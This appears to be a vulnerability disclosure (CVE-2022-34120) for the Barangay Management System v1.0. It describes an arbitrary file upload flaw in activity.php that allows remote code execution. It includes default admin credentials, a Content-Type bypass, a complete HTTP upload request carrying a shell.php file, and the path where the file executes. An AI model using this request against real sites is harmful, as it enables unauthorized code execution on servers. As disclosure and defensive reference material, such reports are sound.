Headline
CVE-2022-34120: bug_report/RCE-1.md at main · wangsj37/bug_report
Barangay Management System v1.0 was discovered to contain a remote code execution (RCE) vulnerability via the module editing function at /pages/activity/activity.php.
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Barangay Management System v1.0 by itsourcecode.com has arbitrary code execution (RCE)
BUG_AUTHOR: whynot37
The decompression password for the source file is itsourcecode.
Login account: admin/admin (Super Admin account)
Vulnerability url: ip/bmis/pages/activity/activity.php
vendors: https://itsourcecode.com/free-projects/php-project/barangay-management-system-project-in-php-with-source-code/
Loophole location: Background management system Activity module editing function-> “activity.php” file picture upload point exists arbitrary file upload vulnerability (RCE).
Click “Save” to save
Content-Type: image/png //Key points (Bypass detection by changing “Content Type” to “Content-Type: image/png”)
Request package for file upload：
POST /bmis/pages/activity/activity.php HTTP/1.1 Host: 192.168.1.19 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://192.168.1.19/bmis/pages/activity/activity.php Cookie: PHPSESSID=fbu82ocu8kd37b5b20uqq71a35; _ga=GA1.1.1382961971.1655097107; _gid=GA1.1.804632123.1655097107 Connection: close Content-Type: multipart/form-data; boundary=---------------------------231533211823565 Content-Length: 625 -----------------------------231533211823565 Content-Disposition: form-data; name="txt_doc" 1 -----------------------------231533211823565 Content-Disposition: form-data; name="txt_act" 1 -----------------------------231533211823565 Content-Disposition: form-data; name="txt_desc" 1 -----------------------------231533211823565 Content-Disposition: form-data; name="files[]“; filename="shell.php” Content-Type: image/png //Key points JFJF <?php phpinfo();?> -----------------------------231533211823565 Content-Disposition: form-data; name="btn_add" Add Activity -----------------------------231533211823565–
The files will be uploaded to this directory \bmis\pages\activity\photo
We visited the directory of the file in the browser and found that the code had been executed